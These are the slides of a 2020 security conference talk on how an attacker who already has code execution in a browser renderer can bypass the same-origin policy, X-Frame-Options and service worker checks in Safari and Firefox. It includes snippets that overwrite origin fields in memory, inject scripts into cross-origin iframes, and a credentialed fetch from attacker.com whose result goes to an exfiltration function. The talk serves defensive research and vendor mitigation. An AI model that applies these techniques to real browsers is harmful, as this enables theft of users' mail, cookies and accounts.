Forget the Sandbox Escape

Abusing Browsers from Code Execution

Amy Burnett - BlueHatIL 2020
about:about

$ whoami
uid=1000(Amy Burnett) gid=1000(itszn)

RET2 Systems Co-Founder

- Vulnerability Research
- Browser Exploitation Trainings

Safari -> Root @ Pwn2Own 2018
about:talk

Sandbox escapes are expensive!
about:talk

Sandbox escapes are expensive!

Interesting information is stored/controlled by the browser itself

- Bank Accounts
- Access Sensitive documents
- Email / Message history
- Downloaded Software
Browser Architecture Crash Course

Main Browser Process

Network Process

Broker Process

GPU Process

Renderer / Content Process

Memory Allocator

JavaScript Engine

Web APIs
- Web Audio
- Web RTC
- IndexedDB
- etc

DOM
- HTML Elements
- DOM APIs
- SVG

CSS

Document

Media
Arbitrary Read + Write

Read and write data to any memory address

- Manipulate browser data structures

Some attacks in this talk work with just read/write
Moving to Code Execution

Running actual machine code in the process

- Hijack JIT page (Safari on macOS)
- Hijack function pointer -> Smuggled code / ROP

But what does code exec actually give us?
Moving to Code Execution

Running actual machine code in the process

- Hijack JIT page (Safari on macOS)
- Hijack function pointer -> Smuggled code / ROP

But what does code exec actually give us?

- Call system functions (remap pages, make IPC calls)
- Patch existing code (if can be mapped R/W)

*But can we interact with the system*
Welcome to the Sandbox

- Prevents us from accessing most of the system
  - Depends on the implementations, some better some worse
Why not just escape?
Why not just escape?

But we can't do anything in the sandbox
Why not just escape?

But we can't do anything in the sandbox

Is this really true? Let's find out
Let's Turn the Browser on Itself
Making Requests

Let's say you are on a website `webmail.somecorp.com`

It might make a request like

```javascript
fetch('https://webmail.somecorp.com/all_your_mail.json',
  {credentials: 'include'})
  .then(data => display_mail(data))
```

This will make a http request to get `all_your_mail.json`
Making Requests

Let's say you are on a website webmail.somecorp.com

It might make a request like

```javascript
fetch('https://webmail.somecorp.com/all_your_mail.json',
    {credentials: 'include'})
.then(data => display_mail(data))
```

This will make a http request to get all_your_mail.json

So what if we did the same thing from attacker.com?
Let's make a site attacker.com and put this script:

```javascript
fetch('https://gmail.google.com/all_your_mail.json',
    {credentials: 'include'})
  .then(data => exfil_to_attacker(data))
```
Lets make a site **attacker.com** and put this script

```javascript
fetch('https://gmail.google.com/all_your_mail.json',
    {credentials: 'include'})
.then(data => exfil_to_attacker(data))
```

And.....

Access to fetch at 'https://gmail.google.com/all_your_mail.json' (index):1 from origin 'http://attacker.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Uncaught (in promise) TypeError: Failed to fetch (index):1
Same Origin Policy (SOP)

Protects one origin from accessing any other but itself

An origin is the domain, port, and protocol of a site:

- https://google.com:443
- http://attacker.com:80
SOP Implementation

SOP's job: Prevent attacker.com from accessing google.com

Almost all requests and responses will be blocked...

So much for reading your email right...
SOP Implementation

SOP's job: Prevent attacker.com from accessing google.com

Almost all requests and responses will be blocked...

So much for reading your email right...

Wrong
Where is SOP Actually Checked?

Safari and Firefox:  
Mainly checked in the *renderer process*.

Chrome:  
We'll see later
Case Study: Safari

WebKit uses **SecurityOrigins** to manage SOP

```cpp
class SecurityOrigin : public ThreadSafeRefCounted<SecurityOrigin> {
    // Returns true if this SecurityOrigin can script objects in the given
    // SecurityOrigin. For example, call this function before allowing
    // script from one security origin to read or write objects from
    // another SecurityOrigin.
    WEBCORE_EXPORT bool canAccess(const SecurityOrigin&) const;
}

bool SecurityOrigin::canAccess(const SecurityOrigin& other) const
{
    ...
    if (this == &other)
        return true;
    ...
}
```

C++ / Source/WebCore/page/SecurityOrigin.cpp
WebKit SOP Implementation

But this is done in the renderer

```cpp
class SecurityOrigin : public ThreadSafeRefCounted<SecurityOrigin> {
    ...
    bool m_universalAccess { false };
    ...
}

bool SecurityOrigin::canAccess(const SecurityOrigin& other) const {
    if (m_universalAccess)
        return true;
    ...
}
```

Overwrite `m_universalAccess` --> Bypass SOP
m_universalAccess

Nice because we only have to set it to true

- Can be done with only arb read/write
  - Start with a XMLHttpRequest and walk pointers to the Security Origin

Once set, the page can bypass anything that is checked via Security Origin
Safari SOP Demo

```javascript
var JSXXMLHttpRequest = new XMLHttpRequest();
XMLHttpRequest_ptr = addr_of_int64(JSXXMLHttpRequest);
// ... deref down to SecurityOrigin
var SecurityOrigin_ptr = read_64(SecurityOriginPolicy_ptr.add(8));
// Overwrite m_universalAccess
write_64(SecurityOrigin_ptr.add(0x31), 1);

varjsxhr = new XMLHttpRequest();
jsxhr.open('GET', 'https://google.com', false);
jsxhr.send();

// Normally would network error here
console.log(jsxhr.responseText);
```
Case Study: Firefox

Cross Origin Resource Sharing (CORS)

- Site can supply a CORS header
- Allows sites to whitelist others from SOP
Case Study: Firefox

We can patch it to always return true...

(Thanks to @0vercl0k for finding this method)
Requests can only do so much

Lets go for a more powerful ability:

JavaScript Execution
UXSS

Inject scripts into any origin

<script>alert('xss')</script>

attacker.com <-> google.com
Injecting Though iframes

Parent Browser Process

IPC

Tab 1: attacker.com
iframe

googel.com

Tab 2: google.com

JavaScript

<iframe id=f src="https://google.com"></iframe>
f.contentWindow.document.body.appendElement(script)
Cross Origin iframes

document.write(''<iframe id=f src="http://example.com"></iframe>'')
undefined
f.contentDocument


The spec states that an origin can never directly interact with the document of another origin though iframes

(Cross Origin Frame Standard)
Cross Origin iframes

This check is enforced in the renderer process in Safari:

```cpp
bool DOMWindow::isInsecureScriptAccess(DOMWindow& activeWindow, const String& urlString) {
  ...
  if (activeWindow.document()->securityOrigin().canAccess(document()->securityOrigin()))
    return false;
  ...
  printErrorMessage(crossDomainAccessErrorMessage(...));
}
```

If we have `m_universalAccess` then we can access the iframe
// Once we set m_universalAccess = true
let i = document.createElement('iframe');
i.src = "https://example.com"
i.onload = function() {
    var script = doc.createElement('script');
    script.innerText = "alert(`UXSS on ${document.origin}`)";

    // Access the iframe and install the script
    i.contentWindow.document.head.appendChild(script);
}
document.body.append(i);
iframe UXSS

But what if we try "https://google.com"?
iframe UXSS

But what if we try "https://google.com"?

document.write('<iframe id=f src="https://google.com"></iframe>

undefined

⚠️ Refused to display 'https://www.google.com/' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'.
Once again, checked in the renderer...

```cpp
bool FrameLoader::shouldInterruptLoadForXFrameOptions(...) {
    ...  
    XFrameOptionsDisposition disposition = parseXFrameOptionsHeader(content);

    switch (disposition) {
    case XFrameOptionsSameOrigin: {
        // Check if the parent is the same origin
        if (!origin->isSameSchemeHostPort(topFrame.document()->securityOrigin()))
            return true;
        return false;
    }
    case XFrameOptionsDeny:
        // Always interrupt load
        return true;
    ...  
    }
    ...
}
```
Safari X-Frame-Options Bypass

Patch function from Code Exec?

- A lot of work...
- Could be hard with PAC
Safari X-Frame-Options Bypass

Or... **modify SecurityOrigin obj**

```cpp
class SecurityOrigin : public ThreadSafeRefCounted<SecurityOrigin> {
    // Expanded SecurityOriginData m_data;
    String protocol;
    String host;
    std::optional<uint16_t> port;

    bool m_universalAccess { false };
}
```

```plaintext
protocol = "https"
host = "www.google.com"
port = 443
```
Google UXSS Example

```javascript
write64(host_str_ptr, new Int64('0xe00000006'));
writestr(host_str_ptr + 0x10, "www.google.com");

let i = document.createElement('iframe');
i.src="https://www.google.com";
document.body.append(i);
```

UXSS like before with only Read/Write
Where Can We Go From Here?

Access / modify persistent data:

- Local Storage
- IndexDB
- Cookies
Where Can We Go From Here?

Access / modify persistent data:

• Local Storage
• IndexDB
• Cookies

Let's take a look at Service Workers
Service Workers

Application ↔ Service Worker ↔ Cache ↔ Network
MitM as a Feature

```javascript
self.addEventListener('fetch', function(event) {
  // Intercept any network request
  console.log(event.request);

  // And view or modify the response
  let resp = fetch(event.request);
  console.log(resp)

  event.respondWith(resp);
})
```
Service Worker Requirements

- Origin must be HTTPS
Service Worker Requirements

- Origin must be HTTPS

Possible depending on the site:

- Script file must be from the same origin
Service Worker Requirements

- Origin must be HTTPS

Possible depending on the site:

- Script file must be from the same origin

Could be a show stopper:

- Script file must be `application/javascript`
- Worker can only control its path
  
  `/static/worker.js` can only mitm `/static/*`
Safari Service Workers

- Script file must be from the same origin

```cpp
// https://w3c.github.io/ServiceWorker/#register-algorithm
void SWServerJobQueue::runRegisterJob(const ServiceWorkerJobData& job)
{
    // If the origin of job's script url is not job's referrer's origin:
    if (!protocolHostAndPortAreEqual(job.scriptURL, job.clientCreationURL))
        return rejectCurrentJob(ExceptionData {
            SecurityError,
            "Script origin does not match the registering client's origin"_s
        });

    ...
}
```

Checked outside the renderer
Don't have a bypass for this yet (future research maybe)
Safari Service Workers

The **file type** and **worker scope** are checked in the renderer

```cpp
ResourceError ServiceWorkerJob::validateServiceWorkerResponse(...) {
...
    // Extract a MIME type from the response's header list.
    // If this MIME type is not a JavaScript MIME type, then:
    if (!MIMETypeRegistry::isSupportedJavaScriptMIMEType(...))
        return {..."MIME Type is not a JavaScript MIME type"};

    ...

    if (!scopeString.startsWith(maxScopeString))
        return {..."Scope URL should start with the given script URL"};

    ...
}
```
Safari Code Exec -> Service Worker

- Find way to host/reflect script on target website
- Patch `validateServiceWorkerResponse` to not error
- Get UXSS on target
- Install service worker
Service Worker Demo
Infecting Other Tabs

Tab processes may also not be protected from each other

@Overcl0k

Injecting a DLL into FireFox tabs
Patch Gapping

Single JavaScript Bug -> User Accounts Compromised

• Browsers upstream patch for Javascript Bug
• Attacker finds patch for bug / writes exploit
• Users on stable are vulnerable for period of time
Patch Gapping

Single JavaScript Bug -> User Accounts Compromised

- Browsers upstream patch for Javascript Bug
- Attacker finds patch for bug / writes exploit
- Users on stable are vulnerable for period of time

Google cuts Chrome 'patch gap' in half, from 33 to 15 days

Future plans include cutting the patch gap further, which might mean that Google will have to release Chrome security fixes on a weekly basis.
So What Can Vendors Do?

- Remove checks from the renderer
- Force origins into different processes

Chrome has started do this with Site Isolation
Chrome Site Isolation

Different origins must be in different processes

Including iframes

Only way to interact is through Chrome IPC

```
<iframe src="https://google.com"></iframe>
```
Site Isolation Limitations

Sub-domains are all in the same process

- Maybe find XSS on subdomain then UXSS main domain

Some cross origin requests have to be allowed

- `<script>`, `<img>`, `<style>` can load cross origin
- Renderer could spoof request for script, then read response
Cross Origin Read Blocking (CORB)

To protect cross origin requests, sniff response

- If the content-type doesn't make sense: block
- If a script looks like HTML or JSON: block

```javascript
let s = document.createElement('script')
s.src = 'https://google.com'
document.head.appendChild(s)
```

⚠️ Cross-Origin Read Blocking (CORB) blocked VM367:3
WCTF Mojojojo

For WCTF, @_tsuro made a challenge to bypass CORB

Reading the documentation I found:

Note that the above means that the following responses are not CORB-protected:

- Responses labeled as `multipart/*`. This avoids having to parse the content types of the nested parts. We recommend not supporting multipart range requests for sensitive documents.

Solution: Request flag using `multipart/range` requests
Main Take Aways

- The sandbox doesn't fully protect you if your data is in the browser
- A single patch gapped N-Day may compromise Safari and Firefox users
- Vendors need to give renderer processes less controller over origin checks
- Site-isolation solves many of these issues, but not 100% perfect
- Web security and browser exploitation go hand in hand :D
Extra Slides Cut For Time
Attacking Privileged APIs / Sites

Sometimes certain vendor sites are privileged
Attacking Privileged APIs / Sites

@_niklasb found accounts.firefox.com could install profiles

- Get UXSS on accounts.firefox.com (or magic IPC method)
- Log user into malicious Mozilla account
- Sync browser profile with sandbox disabled

Fixed as CVE-2019-11741 and CVE-2019-9812
Attacking Privileged APIs / Sites

Way back for pwn2own 2015:

@oldfresher found play.google.com could install android apps

- Get UXSS on play.google.com
- Use JS to click Purchase on attacker app
- Use JS to click the confirm button
- App is now installed